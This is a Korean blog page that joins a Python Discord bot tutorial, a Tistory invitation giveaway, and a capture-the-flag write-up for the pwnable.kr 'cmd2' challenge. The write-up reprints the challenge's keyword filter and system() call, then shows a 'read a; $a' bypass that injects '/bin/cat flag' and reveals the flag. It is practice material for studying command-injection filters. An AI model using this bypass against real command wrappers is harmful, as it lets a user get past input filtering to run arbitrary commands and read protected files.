반응형
반응형

이번에는 이번에는 맴버 관련 기능을 구현해보도록 하겠습니다.


목차입니다.



1. 맴버가 서버 접속, 퇴장시 서버 텍스트 채널에 메세지를 보내는 기능

2. 맴버가 서버 접속시 1:1 채팅에 메세지를 보내는 기능

3. 주기적으로 공지메세지를 보내는 기능 (백그라운드로 동작)










1. 맴버가 서버 접속, 퇴장시 서버 텍스트 채널에 메세지를 보내는 기능



먼저 코드를 봅시다.


1
2
3
4
5
6
7
8
9
10
11
@client.event
async def on_member_join(member):
    fmt = '{1.name} 에 오신것을 환영합니다., {0.mention} 님'
    channel = member.server.get_channel("channel_id_here")
    await client.send_message(channel, fmt.format(member, member.server))
 
@client.event
async def on_member_remove(member):
    channel = member.server.get_channel("channel_id_here")
    fmt = '{0.mention} 님이 서버에서 나가셨습니다.'
    await client.send_message(channel, fmt.format(member, member.server))
cs



on_member_join 함수는 맴버가 서버에 들어 왔을 때 실행되는 함수이고,

on_member_remove 함수는 맴버가 서버를 나갔을 때 실행되는 함수입니다.


format를 통해서 {0.mention}  에는 맴버가 언급되고,  {1.name} 에는 서버이름이 자동적으로 대입됩니다.


channel_id_here에 들어갈 id를 찾는 방법은 본문 하단에 설명되어 있습니다.









2. 맴버가 서버 접속시 1:1 채팅에 메세지를 보내는 기능



간단합니다. 아래의 코드를 이용하면 끝입니다.


await client.send_message(member, "내용")


여기서 우리는 맴버가 서버에 들어왔을 때 보내도록 할 것이므로, on_member_join 함수 밑에 두겠습니다.



1
2
3
4
5
6
@client.event
async def on_member_join(member):
    fmt = '{1.name} 에 오신걸 환영합니다, {0.mention} 님'
    channel = member.server.get_channel("channel_id_here")
    await client.send_message(channel, fmt.format(member, member.server))
    await client.send_message(member, "내용")
csv



"내용" 에 원하는 내용을 작성하시면 됩니다.









3. 주기적으로 공지사항등의 메세지를 보내는 기능입니다.



백그라운드로 동작합니다.


코드입니다. :


1
2
3
4
5
6
    async def my_background_task():
        await client.wait_until_ready()
        channel = discord.Object(id='channel_id_here')
        while not client.is_closed:
            await client.send_message(channel, "hi")
            await asyncio.sleep(5
cs


@client.event 가 필요 없습니다.



----------------channel_id_here 구하기---------------


channel_id_here 에 메세지를 보낼 텍스트 채널의 id를 입력해주시면 되는데요.

id를 확인하는 방법은 다음과 같습니다:

1. 디스코드 채널을 웹을 통해 접속한다.

2. 텍스트 채널에 들어간다.

3. URL마지막에 있는 18자리 숫자가 id다.




"hi" 대신에 보낼 메세지를 넣어주시면 됩니다.


await asyncio.sleep(5)

에서 5 대신에 자신이 원하는 시간 간격을 초 단위로 작성하여 주시면 됩니다.


EX) await asyncio.sleep(60*60*24) 이라고 하면 1일마다 메세지를 보내게 됩니다.




이 부분을 다 작성하셨으면 전체 코드에서 하단으로 가셔서 client.run() 부분을 찾습니다.

client.run() 코드 바로 위에 아래의 코드를 추가합니다 :


client.loop.create_task(my_background_task())


그러면


client.loop.create_task(my_background_task())

cleint.run('token')


처럼 됩니다.


만약 discord.errors.Forbidden: FORBIDDEN (status code: 403): Missing Access 이런 오류가 발생한다면

권한 문제이니 서버에서 봇의 권한을 설정해 주시면 됩니다.







전체 코드는 다음 링크를 참조해주세요.


https://github.com/M4ndU/inhun_discord_chat_bot_2/blob/master/inhun_bot.py

반응형
반응형

마감되었습니다.



티스토리 초대장 10장을 배포합니다.

# 등록일 : 18.03.27 18:53


# 03.27 23:01 : 6장 남아있습니다.

# 03.28 22:31 : 4장 남아있습니다.

# 03.29 17:14 : 3장 남아있습니다.

# 03.30 14:54 : 3장 남아있습니다.



신청 양식:

0. 블로그 운영 목적

1. 공감버튼 눌러주세요

2. 추가로 하실 말

3. 이메일 주소

4. "신청합니다." 라고 작성




*선착순이 아닙니다.

*양식을 지키지 않을 경우 제외.

반응형
반응형

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)



비밀번호는 cmd1문제의 플래그다.



cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}


extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}


int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}



일단 환경변수 메모리 부분을 모두 초기화 한다.

그리고 입력값에서 "=", "PATH", "export", "/",  "`", "flag" 를 필터링한다.

"/" 를 필터링하면서, /bin/cat을 사용하기 어려워졌다..ㅠㅠ


그러면, bash의 기본 함수인 read를 이용해서 플래그를 얻어야 할 것 같다.


cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha


FLAG : FuN_w1th_5h3ll_v4riabl3s_haha



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18

+ Recent posts